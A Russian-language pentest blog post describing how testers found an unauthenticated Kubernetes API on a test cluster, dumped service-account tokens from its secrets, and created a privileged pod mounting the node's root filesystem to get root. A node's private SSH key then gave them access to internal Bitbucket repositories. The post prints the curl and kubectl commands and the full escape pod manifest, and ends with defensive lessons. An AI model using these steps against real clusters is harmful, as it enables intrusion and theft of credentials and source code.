Перейти к основному содержимому
  1. Блог/

Как попасть в Bitbucket через тестовый кластер k8s

·3 минут·

Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.

На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?

К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.

Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.

После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.

Выводы:

Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.

Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.

Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.

Related